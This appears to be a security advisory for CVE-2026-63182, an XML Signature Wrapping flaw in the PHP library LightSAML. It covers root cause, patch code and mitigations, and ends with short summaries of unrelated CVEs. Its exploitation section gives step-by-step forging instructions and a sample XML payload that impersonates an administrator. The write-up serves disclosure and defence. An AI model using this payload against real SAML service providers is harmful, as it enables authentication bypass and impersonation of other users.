Nov 17, 2026·11 min read·1 visit
A discrepancy between DOM traversal in LightSAML and XPath ID resolution in xmlseclibs enables XML Signature Wrapping (XSW). Attackers possessing a single valid signed assertion can embed it inside a <samlp:Extensions> element while injecting a forged assertion with an identical ID as a direct child of <samlp:Response>, achieving complete authentication bypass and privilege escalation.
CVE-2026-63182 is a high-severity XML Signature Wrapping (XSW) vulnerability in LightSAML (litesaml/lightsaml), a PHP library implementing SAML 2.0 data models and cryptographic verification. An architectural discrepancy between how LightSAML deserializes direct child assertions and how the underlying robrichards/xmlseclibs library resolves XML document fragment identifiers allows an attacker with a valid signed assertion to forge arbitrary SAML identity claims and bypass authentication.
LightSAML (litesaml/lightsaml) is a PHP library used to build SAML 2.0 Service Providers (SP) and Identity Providers (IdP). It handles XML serialization, deserialization, and cryptographic validation of SAML protocol messages and assertions. Because SAML assertions convey authenticated user identities and authorization attributes across trust boundaries, the integrity of the XML Digital Signature (XMLDSig) verification process is critical to application security.
CVE-2026-63182 (also tracked as GHSA-w553-pwx6-3mg9) is an XML Signature Wrapping (XSW) vulnerability classified under CWE-347 (Improper Verification of Cryptographic Signature). The flaw exists in LightSAML versions prior to 4.7.1 and 5.0.x versions prior to 5.0.1. It stems from an architectural mismatch between how LightSAML locates <saml:Assertion> elements during message deserialization and how its underlying cryptographic dependency, robrichards/xmlseclibs, resolves URI fragment references (URI="#<ID>") during signature digest verification.
When processing an inbound <samlp:Response>, LightSAML extracts assertions by iterating exclusively over direct child elements of the response root. However, when SignatureXmlReader delegates signature validation to xmlseclibs, the cryptographic engine evaluates a global XPath query (//*[@Id='<ID>']) across the entire XML DOM tree and validates the digest against the first matching node in document order (item(0)).
An adversary who possesses a legitimately signed SAML assertion can exploit this divergence by restructuring the XML document. By moving the authentic assertion (stripped of its <ds:Signature>) into an earlier document position—such as inside a <samlp:Extensions> block—and placing a forged assertion bearing the same ID attribute and the original <ds:Signature> as a direct child of <samlp:Response>, the attacker satisfies the cryptographic check while forcing the application to consume the forged identity claims.
The root cause of CVE-2026-63182 is the absence of structural binding verification and document-wide ID uniqueness enforcement prior to invoking XMLDSig reference validation. In the SAML 2.0 specification, an enveloped signature within a <saml:Assertion> contains a <ds:SignedInfo> block with a <ds:Reference URI="#_assertion_id"> element. This reference dictates which XML subtree is canonicalized and hashed to verify the cryptographic digest.
During the deserialization phase in LightSaml\Model\Protocol\Response::deserialize(), the library populates its internal assertion collection using the manyElementsFromXml() helper method:
// LightSAML strictly collects direct <saml:Assertion> children of <samlp:Response>
$this->assertions = $this->manyElementsFromXml($root, 'Assertion', SamlConstants::NS_ASSERTION, Assertion::class);Because manyElementsFromXml() only inspects direct children of the <samlp:Response> context node, any <saml:Assertion> nested deeper within other protocol elements is ignored by the application's business logic. Downstream consumers calling $response->getAllAssertions() only receive the direct child assertions.
Conversely, during the signature verification phase executed by AssertionSignatureValidatorAction, LightSAML invokes SignatureXmlReader::validate(). This method calls XMLSecurityDSig::validateReference() in robrichards/xmlseclibs. When xmlseclibs resolves the #_assertion_id fragment in processRefNode(), it executes an unanchored XPath query across the entire DOMDocument:
// Inside robrichards/xmlseclibs XMLSecurityDSig::processRefNode()
$nodes = $xpath->query('//*[@Id="' . $id . '"]');
return $nodes->item(0);Because xmlseclibs unconditionally returns $nodes->item(0), it verifies the cryptographic digest of whichever element with ID="_assertion_id" appears first in pre-order depth-first traversal of the DOM tree. In the SAML 2.0 protocol schema (saml-schema-protocol-2.0.xsd), the <samlp:Extensions> element is defined before <saml:Assertion> inside <samlp:Response>. Furthermore, <samlp:Extensions> permits arbitrary ##other namespace children. This schema structure allows an attacker to place an authentic assertion inside <samlp:Extensions> so that it precedes the direct child <saml:Assertion> in document order.
The vulnerability was patched in commits 230e62d1325f2cbcaac814b78409775f7a8806a2 (version 5.0.1) and 3af82bf2f3865e6aafeeb1a97c97b383b8bb7b00 (version 4.7.1) by modifying src/Model/XmlDSig/SignatureXmlReader.php. The fix introduces a new private validation method, assertNoXmlSignatureWrapping(), which is invoked inside SignatureXmlReader::validate() immediately before $this->signature->validateReference() is called.
Running this check prior to validateReference() is a strict technical requirement because xmlseclibs detaches the <ds:Signature> DOM node (sigNode) from its parent element during canonicalization and reference validation. Once detached, inspecting $sigNode->parentNode is no longer possible.
public function validate(XMLSecurityKey $key): bool
{
if (null === $this->signature) {
return false;
}
// Must run before validateReference() because that call detaches sigNode from the document.
$this->assertNoXmlSignatureWrapping();
try {
$this->signature->validateReference();
} catch (Exception $e) {
throw new LightSamlSecurityException('Error validating signature reference', 0, $e);
}
// ...
}The assertNoXmlSignatureWrapping() method enforces two structural invariants across all <ds:Reference> elements within <ds:SignedInfo>:
private function assertNoXmlSignatureWrapping(): void
{
$sigNode = $this->signature->sigNode;
if (!$sigNode instanceof DOMElement) {
return;
}
$doc = $sigNode->ownerDocument;
$xpath = new DOMXPath($doc);
$xpath->registerNamespace('ds', XMLSecurityDSig::XMLDSIGNS);
$refs = $xpath->query('./ds:SignedInfo/ds:Reference', $sigNode);
if (!$refs || $refs->length === 0) {
return;
}
foreach ($refs as $ref) {
/** @var DOMElement $ref */
$uri = $ref->getAttribute('URI');
if (!str_starts_with($uri, '#') || $uri === '#') {
continue;
}
$id = substr($uri, 1);
$parent = $sigNode->parentNode;
if (!$parent instanceof DOMElement) {
throw new LightSamlSecurityException('Enveloped signature has no parent element');
}
// Invariant 1: Verify the immediate parent element carries the referenced ID
$idAttrNames = array_merge(['Id'], $this->signature->idKeys);
$parentId = null;
foreach ($idAttrNames as $attrName) {
$val = $parent->getAttribute($attrName);
if ($val !== '') {
$parentId = $val;
break;
}
}
if ($parentId !== $id) {
throw new LightSamlSecurityException(sprintf(
'Signature Reference URI "#%s" does not match the enclosing element\'s ID "%s"',
$id,
(string) $parentId
));
}
// Invariant 2: Enforce document-wide ID uniqueness using xmlseclibs XPath predicates
$iDlist = '@Id="' . $id . '"';
foreach ($this->signature->idKeys as $idKey) {
$iDlist .= ' or @' . $idKey . '="' . $id . '"';
}
$matches = $xpath->query('//*[' . $iDlist . ']');
if ($matches !== false && $matches->length > 1) {
throw new LightSamlSecurityException(sprintf(
'Duplicate ID "%s" found in document: XML Signature Wrapping attack detected',
$id
));
}
}
}First, Parent-Enclosure Binding ensures that for any same-document fragment reference (URI="#<id>"), the immediate DOM parent enclosing <ds:Signature> must possess an ID attribute (Id or any key registered in $this->signature->idKeys, such as ID) whose value matches <id>. This prevents attacks where a signature inside a forged assertion references a different ID belonging to an unmodified assertion elsewhere in the document.
Second, Document-Wide ID Uniqueness constructs the exact XPath predicate used by xmlseclibs (//*[@Id="<id>" or @ID="<id>" ...]) and counts the total matching nodes across the entire DOMDocument. If $matches->length > 1, SignatureXmlReader throws a LightSamlSecurityException, neutralizing duplicate-ID wrapping attacks.
> [!NOTE]
> Fix Completeness & Edge Cases: While the patch resolves fragment-based XSW attacks, three architectural nuances warrant attention:
> 1. Unvalidated XPath Concatenation: The $id string extracted from the URI attribute is concatenated directly into the XPath query string ('@Id="' . $id . '"'). If upstream XML schema validation is not enforced and an attacker supplies an unsigned or pre-validation URI attribute containing double quotes ("), it can break XPath query syntax or alter predicate logic before cryptographic verification completes.
> 2. Whole-Document References: The check explicitly skips non-fragment and empty URIs (if (!str_starts_with($uri, '#') || $uri === '#') { continue; }). Signatures using URI="" to sign the entire document rely on downstream validation logic.
> 3. Namespace-Qualified IDs: $parent->getAttribute($attrName) performs a non-namespaced attribute lookup. Standard SAML 2.0 uses unqualified ID attributes, so this is effective for standard deployments, though custom profiles using namespaced attributes (such as wsu:Id or xml:id) could experience mismatches between getAttribute() and XPath evaluation.
Exploiting CVE-2026-63182 requires the attacker to possess a single valid, signed <saml:Assertion> issued by the trusted Identity Provider (PR:L). An attacker can obtain this material by authenticating to the Service Provider using a standard low-privilege user account and intercepting the HTTP POST binding payload (SAMLResponse) in their browser prior to submission.
Once the attacker extracts and base64-decodes the legitimate SAML response XML, they construct the wrapped payload through the following sequence:
<saml:Assertion ID="_legit_id"> element. Copy the entire element, then remove its <ds:Signature> child element. Because SAML assertion signatures use the enveloped-signature transform (http://www.w3.org/2000/09/xmldsig#enveloped-signature), removing <ds:Signature> produces the exact canonicalized XML structure expected by the digest calculation.<samlp:Extensions>: Inside the <samlp:Response> element, insert a <samlp:Extensions> element immediately before the direct child <saml:Assertion>. Place the stripped, authentic <saml:Assertion ID="_legit_id"> inside <samlp:Extensions>.<saml:Assertion ID="_legit_id"> that remains under <samlp:Response>. Keep its ID attribute identical (_legit_id) and retain the original <ds:Signature> block intact. Modify the <saml:Subject><saml:NameID> value to the target victim's identifier (e.g., admin@example.com), update <saml:Conditions> timestamps (NotBefore and NotOnOrAfter) to bypass expiration checks in the application layer, and inject privileged roles into <saml:AttributeStatement>.A simplified representation of the resulting XML payload structure is shown below:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_response_id" Version="2.0" IssueInstant="2026-10-30T12:00:00Z">
<saml:Issuer>https://idp.example.com/metadata</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<!-- Step 2: Authentic assertion (signature removed) placed earlier in document order -->
<samlp:Extensions>
<saml:Assertion ID="_assertion_99a8b7" Version="2.0" IssueInstant="2026-10-30T11:55:00Z">
<saml:Issuer>https://idp.example.com/metadata</saml:Issuer>
<saml:Subject>
<saml:NameID>lowpriv_attacker@example.com</saml:NameID>
</saml:Subject>
<saml:Conditions NotBefore="2026-10-30T11:50:00Z" NotOnOrAfter="2026-10-30T12:05:00Z"/>
</saml:Assertion>
</samlp:Extensions>
<!-- Step 3: Forged assertion as direct child with identical ID and original Signature -->
<saml:Assertion ID="_assertion_99a8b7" Version="2.0" IssueInstant="2026-10-30T12:00:00Z">
<saml:Issuer>https://idp.example.com/metadata</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#_assertion_99a8b7">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>AuthenticDigestBase64==</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>AuthenticIdpSignatureBase64==</ds:SignatureValue>
</ds:Signature>
<saml:Subject>
<saml:NameID>admin@example.com</saml:NameID>
</saml:Subject>
<saml:Conditions NotBefore="2026-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>Administrator</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>When this payload is base64-encoded and submitted to the Service Provider's Assertion Consumer Service (ACS) endpoint, xmlseclibs hashes the first <saml:Assertion ID="_assertion_99a8b7"> inside <samlp:Extensions>, confirming it matches AuthenticDigestBase64==, and verifies AuthenticIdpSignatureBase64== against the IdP certificate. LightSAML then deserializes the second <saml:Assertion> and logs the attacker in as admin@example.com.
Notice also that because the NotOnOrAfter timestamp inside the forged assertion is evaluated by LightSAML rather than the timestamp inside the buried assertion, a single captured assertion can be replayed indefinitely even after its original validity window has expired, provided the IdP signing certificate has not been rotated.
CVE-2026-63182 carries a CVSS v3.1 base score of 8.1 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N. The attack is executable over the network (AV:N) via standard HTTP POST requests to public-facing SAML ACS endpoints without requiring any user interaction (UI:N) or complex timing conditions (AC:L).
The primary operational impact is complete authentication bypass and horizontal or vertical privilege escalation across any PHP application relying on vulnerable versions of litesaml/lightsaml for Service Provider SSO. Because the attacker controls both the <saml:Subject><saml:NameID> and all <saml:AttributeStatement> values in the consumed assertion, they can impersonate any user within the federated directory, including administrative accounts (C:H, I:H).
Although the CVSS vector sets Privileges Required to Low (PR:L)—reflecting the prerequisite that an attacker normally authenticates once to acquire a signed assertion from the IdP—this barrier is minimal in environments that support self-service registration, guest federation, or multi-tenant IdP configurations where the same signing key is shared across multiple Service Providers.
Development and operations teams using litesaml/lightsaml must upgrade to the patched releases immediately via Composer. For applications on the 4.x maintenance branch, upgrade to version 4.7.1 or later. For applications on the 5.x release line, upgrade to version 5.0.1 or later:
# For LightSAML 4.x deployments
composer require litesaml/lightsaml:^4.7.1
# For LightSAML 5.x deployments
composer require litesaml/lightsaml:^5.0.1In addition to upgrading the library, organizations should implement defense-in-depth measures around SAML XML processing when immediate patching is delayed:
saml-schema-protocol-2.0.xsd and saml-schema-assertion-2.0.xsd) using DOMDocument::schemaValidate() before passing the document to LightSAML deserializers. Because the SAML schema defines ID attributes as type xs:ID, a compliant XML schema validator enforces document-wide ID uniqueness and rejects any document containing duplicate ID values prior to signature verification.<samlp:Response> element in addition to the <saml:Assertion>, and configure the Service Provider to strictly require and validate the top-level <samlp:Response> signature. If the entire <samlp:Response> is covered by a valid cryptographic signature from the IdP, an attacker cannot modify <samlp:Extensions> or inject a secondary <saml:Assertion> without invalidating the outer response digest.DOMDocument for count(//saml:Assertion) and count(//samlp:Extensions/*). Reject any SAML response containing more assertions than expected or unexpected elements inside <samlp:Extensions>.CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
lightsaml litesaml | < 4.7.1 | 4.7.1 |
lightsaml litesaml | >= 5.0.0, < 5.0.1 | 5.0.1 |
| Attribute | Detail |
|---|---|
| Vulnerability Class | XML Signature Wrapping (XSW) / CWE-347 |
| Affected Component | litesaml/lightsaml (SignatureXmlReader & Response::deserialize) |
| Attack Vector | Network (HTTP POST SAMLResponse) |
| CVSS v3.1 Score | 8.1 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) |
| EPSS Score | 0.19% (8.78th Percentile) |
| Security Impact | Authentication Bypass & Arbitrary User Impersonation |
| Patched Versions | 4.7.1, 5.0.1 |
| CISA KEV Status | Not Listed |
The software does not properly verify, or incorrectly verifies, the cryptographic signature for data, allowing an attacker to modify the data or supply unauthorized data without detection.
A race condition and improper synchronization vulnerability (CWE-362) exists in Next.js versions 16.2.0 prior to 16.4.5 when Cache Components ('use cache' directive) are enabled. When an outer cached function calls a nested cached function that reads dynamic root parameters via 'next/root-params' and returns an object containing pending promises, React Flight can resolve and deliver the ready portion of the payload before the inner cache finishes publishing its root parameter dependencies. Consequently, the outer cache entry finalizes and persists under a cache key that omits the root parameter dependencies, causing the first written cache entry to be served across requests with different root parameter values and bypassing nested cache invalidation rules.
A remote OS command injection vulnerability (CWE-78) exists in code-review-mcp-server prior to version 1.5.3. The application passes caller-controlled tool parameters directly into Node.js child_process.execSync() calls without proper neutralization. An attacker or compromised LLM agent invoking tools such as getLocalGitDiff, codeReview, createPR, or getPRTemplate can inject arbitrary shell commands that execute with the privileges of the MCP server host process.
A path traversal vulnerability (CWE-22) in termux-sync prior to version 1.2.4 allows an attacker to overwrite arbitrary files within the Termux environment during the backup restoration process. The flaw stems from the application trusting attacker-controlled extraction paths defined in the backup's manifest.json file, failing to validate archive members against directory traversal sequences during tar extraction, and using unsanitized backup names when constructing temporary directories. If a user restores a malicious backup archive from local storage, shared folders, GitHub, or Google Drive, an attacker can overwrite sensitive configuration files such as shell startup scripts or local binaries, resulting in arbitrary code execution under the privileges of the Termux user.
SpamScope mail-parser versions 3.8.0 prior to 4.6.0 contain a path traversal vulnerability (CWE-22) within the write_attachments() and write_sample() functions. The library passes untrusted attachment filenames directly into os.path.join() without stripping directory components, validating path containment, or verifying symbolic links. An attacker can send a crafted email containing relative path traversal sequences or absolute filesystem paths in the Content-Disposition header to write or overwrite arbitrary files accessible to the parsing process.
A Regular Expression Denial of Service (ReDoS) vulnerability exists in SpamScope mail-parser versions 4.2.0 prior to 4.6.1. Two separate regular expressions evaluated during standard email header parsing exhibit quadratic to cubic backtracking complexity when processing headers padded with whitespace or angle brackets. An unauthenticated remote attacker can exploit this flaw by sending a small, RFC-compliant email message, causing parsing worker threads or processes to stall at 100% CPU utilization for extended periods.
CVE-2026-129297 is an origin validation vulnerability (CWE-345) in the Python library mail-parser prior to version 4.6.2. The MailParser.get_server_ipaddress() method fails to properly isolate MTA-recorded client IP addresses from sender-controlled text within email Received headers. Due to naive substring delimiter matching, appearance-based regular expression scanning, and fail-open header traversal, remote attackers can spoof their originating IP address to bypass email security controls, blocklists, and anti-spam attribution.